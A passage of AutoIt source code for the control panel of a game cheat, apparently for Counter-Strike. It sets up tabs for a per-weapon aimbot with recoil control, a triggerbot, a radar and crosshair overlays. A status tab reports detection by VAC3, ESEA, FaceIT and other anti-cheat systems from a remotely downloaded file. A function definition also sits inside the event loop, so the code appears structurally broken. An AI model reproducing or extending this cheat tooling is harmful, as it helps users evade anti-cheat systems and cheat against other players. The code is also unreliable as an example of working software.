$SS_CENTERIMAGE) GUICtrlSetColor($smoothdis, 0xFFFFFF) GUICtrlSetBkColor($smoothdis, 0x767575) $smoothmin = GUICtrlCreatePic(@TempDir & "\Decrease.bmp", 401, 93, 20, 20) $smoothplus = GUICtrlCreatePic(@TempDir & "\Increase.bmp", 506, 93, 20, 20) If $viasghfaf = 1 Then $VISon = GUICtrlCreatePic(@TempDir & "\Active.bmp", 122, 42, 50, 30) Else $VISon = GUICtrlCreatePic(@TempDir & "\Disable.bmp", 122, 42, 50, 30) EndIf GUICtrlCreateLabel("Visibility Check", 178, 52) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetFont(-1, 8.5, 400) GUICtrlCreateGraphic(128, 131, 399, 245) GUICtrlSetColor(-1, 0x750606) GUICtrlSetState(-1, $GUI_DISABLE) $hCombo = GUICtrlCreateCombo("", 200, 335, 250, 20) GUICtrlSetData($hCombo, $sList) GUICtrlCreateLabel("FoV", 188, 138) GUICtrlSetColor(-1, 0xFFFFFF) $menufov = GUICtrlCreateLabel("??", 160, 156, 75, 18, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetBkColor(-1, 0x767575) $fovright = GUICtrlCreatePic(@TempDir & "\Increase.bmp", 240, 155, 20, 20) GUICtrlSetColor(-1, 0xFFFFFF) $fovleft = GUICtrlCreatePic(@TempDir & "\Decrease.bmp", 135, 155, 20, 20) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlCreateLabel("Height", 310, 138) GUICtrlSetColor(-1, 0xFFFFFF) $menuheight = GUICtrlCreateLabel("??", 290, 156, 75, 18, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetBkColor(-1, 0x767575) $heightright = GUICtrlCreatePic(@TempDir & "\Increase.bmp", 370, 155, 20, 20) GUICtrlSetColor(-1, 0xFFFFFF) $heightleft = GUICtrlCreatePic(@TempDir & "\Decrease.bmp", 265, 155, 20, 20) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlCreateLabel("Delay", 440, 138) GUICtrlSetColor(-1, 0xFFFFFF) $menudelay = GUICtrlCreateLabel("??", 420, 156, 75, 18, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetBkColor(-1, 0x767575) $Aimon = GUICtrlCreatePic(@TempDir & "\Disable.bmp", 132, 200, 50, 30) GUICtrlCreateLabel("Enable", 138, 188) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetFont(-1, 8.5, 400) $RCSon = GUICtrlCreatePic(@TempDir & "\Disable.bmp", 188, 200, 50, 30) GUICtrlCreateLabel("RCS", 194, 188) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetFont(-1, 8.5, 400) $delayright = GUICtrlCreatePic(@TempDir & "\Increase.bmp", 500, 155, 20, 20) GUICtrlSetColor(-1, 0xFFFFFF) $delayleft = GUICtrlCreatePic(@TempDir & "\Decrease.bmp", 395, 155, 20, 20) GUICtrlSetColor(-1, 0xFFFFFF) $save = GUICtrlCreateButton("Save Current Settings", 242, 310, 150, 16) ;################################## ; Triggerbot Content ;################################# Global Const $tab2 = GUICtrlCreateTabItem("tab2") GUICtrlCreateLabel("TriggerKey", 445, 39) GUICtrlSetColor(-1, 0xFFFFFF) $tkeydis = GUICtrlCreateLabel($ptkey, 426, 53, 75, 18, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetColor($tkeydis, 0xFFFFFF) GUICtrlSetBkColor($tkeydis, 0x767575) $tkeymin = GUICtrlCreatePic(@TempDir & "\Decrease.bmp", 401, 52, 20, 20) $tkeyplus = GUICtrlCreatePic(@TempDir & "\Increase.bmp", 506, 52, 20, 20) GUICtrlCreateGraphic(128, 131, 399, 245) GUICtrlSetColor(-1, 0x750606) GUICtrlSetState(-1, $GUI_DISABLE) $thCombo = GUICtrlCreateCombo("", 200, 335, 250, 20) GUICtrlSetData($thCombo, $sList) GUICtrlCreateLabel("Hitbox", 188, 138) GUICtrlSetColor(-1, 0xFFFFFF) $menuhitbox = GUICtrlCreateLabel("??", 160, 156, 75, 18, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetBkColor(-1, 0x767575) $thitright = GUICtrlCreatePic(@TempDir & "\Increase.bmp", 240, 155, 20, 20) GUICtrlSetColor(-1, 0xFFFFFF) $thitleft = GUICtrlCreatePic(@TempDir & "\Decrease.bmp", 135, 155, 20, 20) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlCreateLabel("Before Delay", 310, 138) GUICtrlSetColor(-1, 0xFFFFFF) $menubefore = GUICtrlCreateLabel("??", 290, 156, 75, 18, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetBkColor(-1, 0x767575) $beforetright = GUICtrlCreatePic(@TempDir & "\Increase.bmp", 370, 155, 20, 20) GUICtrlSetColor(-1, 0xFFFFFF) $beforeleft = GUICtrlCreatePic(@TempDir & "\Decrease.bmp", 265, 155, 20, 20) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlCreateLabel("After Delay", 440, 138) GUICtrlSetColor(-1, 0xFFFFFF) $menuafter = GUICtrlCreateLabel("??", 420, 156, 75, 18, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetBkColor(-1, 0x767575) $afterright = GUICtrlCreatePic(@TempDir & "\Increase.bmp", 500, 155, 20, 20) GUICtrlSetColor(-1, 0xFFFFFF) $afterleft = GUICtrlCreatePic(@TempDir & "\Decrease.bmp", 395, 155, 20, 20) GUICtrlSetColor(-1, 0xFFFFFF) $trigon = GUICtrlCreatePic(@TempDir & "\Disable.bmp", 132, 200, 50, 30) GUICtrlCreateLabel("Enable", 138, 188) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetFont(-1, 8.5, 400) $Allbon = GUICtrlCreatePic(@TempDir & "\Disable.bmp", 188, 200, 50, 30) GUICtrlCreateLabel("FullBody", 194, 188) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetFont(-1, 8.5, 400) $tsave = GUICtrlCreateButton("Save Current Settings", 242, 310, 150, 16) ;################################## ; Radar Content ;################################# Global Const $tab3 = GUICtrlCreateTabItem("tab3") $radarenable = IniRead($FileSet, "Settings", "Radar_Enabled", 0) $radardisread = IniRead ($FileSet, "Settings", "Radar_Distance", 0) If $radarenable = 1 Then $Radaron = GUICtrlCreatePic(@TempDir & "\Active.bmp", 125, 38, 50, 30) Else $Radaron = GUICtrlCreatePic(@TempDir & "\Disable.bmp", 125, 38, 50, 30) EndIf GUICtrlCreateLabel("Enabled", 180, 48) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetFont(-1, 8.5, 400) GUICtrlCreateLabel("Distance", 445, 39) GUICtrlSetColor(-1, 0xFFFFFF) $radardistance = GUICtrlCreateLabel($radardisread, 426, 53, 75, 18, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetColor($radardistance, 0xFFFFFF) GUICtrlSetBkColor($radardistance, 0x767575) $radarmin = GUICtrlCreatePic(@TempDir & "\Decrease.bmp", 401, 52, 20, 20) $radarplus = GUICtrlCreatePic(@TempDir & "\Increase.bmp", 506, 52, 20, 20) $rsave = GUICtrlCreateButton("Save Current Settings", 242, 310, 150, 16) ;################################## ; MISC Content ;################################# Global Const $tab4 = GUICtrlCreateTabItem("tab4") GUICtrlCreateLabel("Crosshair", 130, 95) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetFont(-1, 8.5, 400) GUICtrlCreateGraphic(128, 110, 400, 100) GUICtrlSetColor(-1, 0xFF0000) GUICtrlSetState(-1, $GUI_DISABLE) If $Croshair = 1 Then $crosshairon = GUICtrlCreatePic(@TempDir & "\Active.bmp", 130, 113, 50, 30) Else $crosshairon = GUICtrlCreatePic(@TempDir & "\Disable.bmp", 130, 113, 50, 30) EndIf GUICtrlCreateLabel("Enable", 185, 123) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetFont(-1, 8.5, 400) GUICtrlCreateLabel("Up/Down", 172, 168) GUICtrlSetColor(-1, 0xFFFFFF) $drawcrossdis = GUICtrlCreateLabel($adup, 157, 183, 75, 18, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetColor($drawcrossdis, 0xFFFFFF) GUICtrlSetBkColor($drawcrossdis, 0x767575) $drawcrossmin = GUICtrlCreatePic(@TempDir & "\Decrease.bmp", 134, 182, 20, 20) $drawcrossplus = GUICtrlCreatePic(@TempDir & "\Increase.bmp", 237, 182, 20, 20) GUICtrlCreateLabel("Left/Right", 302, 168) GUICtrlSetColor(-1, 0xFFFFFF) $drawcrossdis2 = GUICtrlCreateLabel($adside, 286, 183, 75, 18, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetColor($drawcrossdis2, 0xFFFFFF) GUICtrlSetBkColor($drawcrossdis2, 0x767575) $drawcrossmin2 = GUICtrlCreatePic(@TempDir & "\Decrease.bmp", 263, 182, 20, 20) $drawcrossplus2 = GUICtrlCreatePic(@TempDir & "\Increase.bmp", 366, 182, 20, 20) If $watermarkactive = 1 Then $wateron = GUICtrlCreatePic(@TempDir & "\Active.bmp", 125, 38, 50, 30) Else $wateron = GUICtrlCreatePic(@TempDir & "\Disable.bmp", 125, 38, 50, 30) EndIf GUICtrlCreateLabel("WaterMark", 180, 48) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetFont(-1, 8.5, 400) ;################################## ; Live-Status Content ;################################# Global Const $tab5 = GUICtrlCreateTabItem("tab5") $refresh = GUICtrlCreateButton("Refresh Status", 440, 45, 85, 15) GUICtrlCreateLabel("Information", 130, 315) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlSetFont(-1, 8.5, 400) GUICtrlCreateGraphic(128, 330, 400, 50) GUICtrlSetColor(-1, 0xFF0000) GUICtrlSetState(-1, $GUI_DISABLE) GUICtrlCreateLabel("Undetected", 145, 335) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlCreatePic(@TempDir & "\Status.bmp", 155, 350, 30, 8) GUICtrlSetState(-1, $GUI_DISABLE) GUICtrlCreateLabel("Use at own risk", 285, 335) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlCreatePic(@TempDir & "\Chance.bmp", 305, 350, 30, 8) GUICtrlSetState(-1, $GUI_DISABLE) GUICtrlCreateLabel("Detected", 455, 335) GUICtrlSetColor(-1, 0xFFFFFF) GUICtrlCreatePic(@TempDir & "\Security.bmp", 465, 350, 30, 8) GUICtrlSetState(-1, $GUI_DISABLE) GUICtrlCreateLabel("VAC3", 155, 55) GUICtrlSetColor(-1, 0xFFFFFF) $vacstatus = IniRead(@TempDir & "\Status.txt", "Status", "VAC", 4) If $vacstatus = 1 Then $vac = GUICtrlCreatePic(@TempDir & "\Status.bmp", 250, 58, 30, 8) EndIf If $vacstatus = 2 Then $vac = GUICtrlCreatePic(@TempDir & "\Chance.bmp", 250, 58, 30, 8) EndIf If $vacstatus = 3 Then $vac = GUICtrlCreatePic(@TempDir & "\Security.bmp", 250, 58, 30, 8) EndIf GUICtrlCreateLabel("CEVO", 155, 90) GUICtrlSetColor(-1, 0xFFFFFF) $CEVOstatus = IniRead(@TempDir & "\Status.txt", "Status", "CEVO", 4) If $CEVOstatus = 1 Then $CEVO = GUICtrlCreatePic(@TempDir & "\Status.bmp", 250, 93, 30, 8) EndIf If $CEVOstatus = 2 Then $CEVO = GUICtrlCreatePic(@TempDir & "\Chance.bmp", 250, 93, 30, 8) EndIf If $CEVOstatus = 3 Then $CEVO = GUICtrlCreatePic(@TempDir & "\Security.bmp", 250, 93, 30, 8) EndIf GUICtrlCreateLabel("ESL", 155, 125) GUICtrlSetColor(-1, 0xFFFFFF) $ESLstatus = IniRead(@TempDir & "\Status.txt", "Status", "ESL", 4) If $ESLstatus = 1 Then $ESL = GUICtrlCreatePic(@TempDir & "\Status.bmp", 250, 128, 30, 8) EndIf If $ESLstatus = 2 Then $ESL = GUICtrlCreatePic(@TempDir & "\Chance.bmp", 250, 128, 30, 8) EndIf If $ESLstatus = 3 Then $ESL = GUICtrlCreatePic(@TempDir & "\Security.bmp", 250, 128, 30, 8) EndIf GUICtrlCreateLabel("ESEA", 155, 160) GUICtrlSetColor(-1, 0xFFFFFF) $ESEAstatus = IniRead(@TempDir & "\Status.txt", "Status", "ESEA", 4) If $ESEAstatus = 1 Then $ESEA = GUICtrlCreatePic(@TempDir & "\Status.bmp", 250, 163, 30, 8) EndIf If $ESEAstatus = 2 Then $ESEA = GUICtrlCreatePic(@TempDir & "\Chance.bmp", 250, 163, 30, 8) EndIf If $ESEAstatus = 3 Then $ESEA = GUICtrlCreatePic(@TempDir & "\Security.bmp", 250, 163, 30, 8) EndIf GUICtrlCreateLabel("FaceIT", 155, 195) GUICtrlSetColor(-1, 0xFFFFFF) $FaceITstatus = IniRead(@TempDir & "\Status.txt", "Status", "FaceIT", 4) If $FaceITstatus = 1 Then $FACEIT = GUICtrlCreatePic(@TempDir & "\Status.bmp", 250, 198, 30, 8) EndIf If $FaceITstatus = 2 Then $FACEIT = GUICtrlCreatePic(@TempDir & "\Chance.bmp", 250, 198, 30, 8) EndIf If $FaceITstatus = 3 Then $FACEIT = GUICtrlCreatePic(@TempDir & "\Security.bmp", 250, 198, 30, 8) EndIf GUICtrlCreateLabel("Azereus", 155, 230) GUICtrlSetColor(-1, 0xFFFFFF) $Azereusstatus = IniRead(@TempDir & "\Status.txt", "Status", "Azereus", 4) If $Azereusstatus = 1 Then $Azer = GUICtrlCreatePic(@TempDir & "\Status.bmp", 250, 233, 30, 8) EndIf If $Azereusstatus = 2 Then $Azer = GUICtrlCreatePic(@TempDir & "\Chance.bmp", 250, 233, 30, 8) EndIf If $Azereusstatus = 3 Then $Azer = GUICtrlCreatePic(@TempDir & "\Security.bmp", 250, 233, 30, 8) EndIf GUICtrlCreateLabel("Custodia", 155, 265) GUICtrlSetColor(-1, 0xFFFFFF) $Custodiastatus = IniRead(@TempDir & "\Status.txt", "Status", "Custodia", 4) If $Custodiastatus = 1 Then $Custo = GUICtrlCreatePic(@TempDir & "\Status.bmp", 250, 268, 30, 8) EndIf If $Custodiastatus = 2 Then $Custo = GUICtrlCreatePic(@TempDir & "\Chance.bmp", 250, 268, 30, 8) EndIf If $Custodiastatus = 3 Then $Custo = GUICtrlCreatePic(@TempDir & "\Security.bmp", 250, 268, 30, 8) EndIf While 1 AdlibRegister("Info", 10) sleep(5) AdlibRegister("Aimbot", 1) Sleep(1) AdlibRegister("VisAimbot", 1) Sleep(1) AdlibRegister("pTriggerbot", 1) Sleep(1) Switch GUIGetMsg() Case $GUI_EVENT_CLOSE Exit Case $TabSwitcher1 If GUICtrlRead($tab, 1) = $tab1 Then ContinueLoop ; To prevent the flickering and second state set. GUICtrlSetState($tab1, $GUI_SHOW) GUICtrlSetBkColor($TabSwitcher1, 0x750606) GUICtrlSetColor($TabSwitcher1, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher2, 0x292929) GUICtrlSetColor($TabSwitcher2, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher3, 0x292929) GUICtrlSetColor($TabSwitcher3, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher4, 0x292929) GUICtrlSetColor($TabSwitcher4, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher5, 0x292929) GUICtrlSetColor($TabSwitcher5, 0xFFFFFF) Case $TabSwitcher2 If GUICtrlRead($tab, 1) = $tab2 Then ContinueLoop ; To prevent the flickering and second state set. GUICtrlSetState($tab2, $GUI_SHOW) GUICtrlSetBkColor($TabSwitcher1, 0x292929) GUICtrlSetColor($TabSwitcher1, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher2, 0x750606) GUICtrlSetColor($TabSwitcher2, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher3, 0x292929) GUICtrlSetColor($TabSwitcher3, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher4, 0x292929) GUICtrlSetColor($TabSwitcher4, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher5, 0x292929) GUICtrlSetColor($TabSwitcher5, 0xFFFFFF) Case $TabSwitcher3 If GUICtrlRead($tab, 1) = $tab3 Then ContinueLoop ; To prevent the flickering and second state set. GUICtrlSetState($tab3, $GUI_SHOW) GUICtrlSetBkColor($TabSwitcher1, 0x292929) GUICtrlSetColor($TabSwitcher1, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher2, 0x292929) GUICtrlSetColor($TabSwitcher2, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher3, 0x750606) GUICtrlSetColor($TabSwitcher3, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher4, 0x292929) GUICtrlSetColor($TabSwitcher4, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher5, 0x292929) GUICtrlSetColor($TabSwitcher5, 0xFFFFFF) Case $TabSwitcher4 If GUICtrlRead($tab, 1) = $tab4 Then ContinueLoop ; To prevent the flickering and second state set. GUICtrlSetState($tab4, $GUI_SHOW) GUICtrlSetBkColor($TabSwitcher1, 0x292929) GUICtrlSetColor($TabSwitcher1, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher2, 0x292929) GUICtrlSetColor($TabSwitcher2, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher3, 0x292929) GUICtrlSetColor($TabSwitcher3, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher4, 0x750606) GUICtrlSetColor($TabSwitcher4, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher5, 0x292929) GUICtrlSetColor($TabSwitcher5, 0xFFFFFF) Case $TabSwitcher5 If GUICtrlRead($tab, 1) = $tab5 Then ContinueLoop ; To prevent the flickering and second state set. GUICtrlSetState($tab5, $GUI_SHOW) GUICtrlSetBkColor($TabSwitcher1, 0x292929) GUICtrlSetColor($TabSwitcher1, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher2, 0x292929) GUICtrlSetColor($TabSwitcher2, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher3, 0x292929) GUICtrlSetColor($TabSwitcher3, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher4, 0x292929) GUICtrlSetColor($TabSwitcher4, 0xFFFFFF) GUICtrlSetBkColor($TabSwitcher5, 0x750606) GUICtrlSetColor($TabSwitcher5, 0xFFFFFF) func StatusUpdate() Local $dlstatus = InetGet("http://plexy-software.com/forum/panel/Status.txt", @TempDir & "\Status.txt", 1, 1) $dl_taillestatus = InetGetSize("http://plexy-software.com/forum/panel/Status.txt") Sleep(500) $runningstatus = InetGetInfo($dlstatus, 0) EndFunc Case $refresh StatusUpdate() $vacstatus = IniRead(@TempDir & "\Status.txt", "Status", "VAC", 4) If $vacstatus = 1 Then GUICtrlSetImage($vac, @TempDir & "\Status.bmp") EndIf If $vacstatus = 2 Then GUICtrlSetImage($vac, @TempDir & "\Chance.bmp") EndIf If $vacstatus = 3 Then GUICtrlSetImage($vac, @TempDir & "\Security.bmp") EndIf $CEVOstatus = IniRead(@TempDir & "\Status.txt", "Status", "CEVO", 4) If $CEVOstatus = 1 Then GUICtrlSetImage($CEVO, @TempDir & "\Status.bmp") EndIf If $CEVOstatus = 2 Then GUICtrlSetImage($CEVO, @TempDir & "\Chance.bmp") EndIf If $CEVOstatus = 3 Then GUICtrlSetImage($CEVO, @TempDir & "\Security.bmp") EndIf $ESLstatus = IniRead(@TempDir & "\Status.txt", "Status", "ESL", 4) If $ESLstatus = 1 Then GUICtrlSetImage($ESL, @TempDir & "\Status.bmp") EndIf If $ESLstatus = 2 Then GUICtrlSetImage($ESL, @TempDir & "\Chance.bmp") EndIf If $ESLstatus = 3 Then GUICtrlSetImage($ESL, @TempDir & "\Security.bmp") EndIf $ESEAstatus = IniRead(@TempDir & "\Status.txt", "Status", "ESEA", 4) If $ESEAstatus = 1 Then GUICtrlSetImage($ESEA, @TempDir & "\Status.bmp") EndIf If $ESEAstatus = 2 Then GUICtrlSetImage($ESEA, @TempDir & "\Chance.bmp") EndIf If $ESEAstatus = 3 Then GUICtrlSetImage($ESEA, @TempDir & "\Security.bmp") EndIf $FaceITstatus = IniRead(@TempDir & "\Status.txt", "Status", "FaceIT", 4) If $FaceITstatus = 1 Then GUICtrlSetImage($FaceIT, @TempDir & "\Status.bmp") EndIf If $FaceITstatus = 2 Then GUICtrlSetImage($FaceIT, @TempDir & "\Chance.bmp") EndIf If $FaceITstatus = 3 Then GUICtrlSetImage($FaceIT, @TempDir & "\Security.bmp") EndIf $Azereusstatus = IniRead(@TempDir & "\Status.txt", "Status", "Azereus", 4) If $Azereusstatus = 1 Then GUICtrlSetImage($Azer, @TempDir & "\Status.bmp") EndIf If $Azereusstatus = 2 Then GUICtrlSetImage($Azer, @TempDir & "\Chance.bmp") EndIf If $Azereusstatus = 3 Then GUICtrlSetImage($Azer, @TempDir & "\Security.bmp") EndIf $Custodiastatus = IniRead(@TempDir & "\Status.txt", "Status", "Custodia", 4) If $Custodiastatus = 1 Then GUICtrlSetImage($Custo, @TempDir & "\Status.bmp") EndIf If $Custodiastatus = 2 Then GUICtrlSetImage($Custo, @TempDir & "\Chance.bmp") EndIf If $Custodiastatus = 3 Then GUICtrlSetImage($Custo, @TempDir & "\Security.bmp") EndIf Case $hCombo Switch GUICtrlRead($hCombo) Case "Deagle" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_deagle.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_deagle.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_deagle.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_deagle.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_deagle.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "P2000" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p2000.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p2000.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p2000.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_p2000.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p2000.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "elite" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_elite.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_elite.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_elite.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_elite.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_elite.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "p90" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p90.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p90.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p90.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_p90.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_p90.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "mac10" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mac10.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mac10.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mac10.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_mac10.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_mac10.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "bizon" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_bizon.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_bizon.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_bizon.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_bizon.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_bizon.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "sg553" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg553.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg553.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg553.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg553.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_sg553.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "fiveseven" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_fiveseven.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_fiveseven.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_fiveseven.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_fiveseven.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_fiveseven.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "glock" $readfovvalue = IniRead($FileSet, "WeaponSettings", "aimbot_glock.fov", 0) GUICtrlSetData($menufov, $readfovvalue) $readheightvalue = IniRead($FileSet, "WeaponSettings", "aimbot_glock.height", 0) GUICtrlSetData($menuheight, $readheightvalue) $readdelayvalue = IniRead($FileSet, "WeaponSettings", "aimbot_glock.delay", 0) GUICtrlSetData($menudelay, $readdelayvalue) $readenablevalue = IniRead($FileSet, "WeaponSettings", "aimbot_glock.enabled", 0) If $readenablevalue = 1 Then GUICtrlSetImage($Aimon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($Aimon, @TempDir & "\Disable.bmp") EndIf $readrcsvalue = IniRead($FileSet, "WeaponSettings", "aimbot_glock.rcs", 0) If $readrcsvalue = 1 Then GUICtrlSetImage($RCSon, @TempDir & "\Active.bmp") Else GUICtrlSetImage($RCSon, @TempDir & "\Disable.bmp") EndIf Case "p228" $readfovvalue = 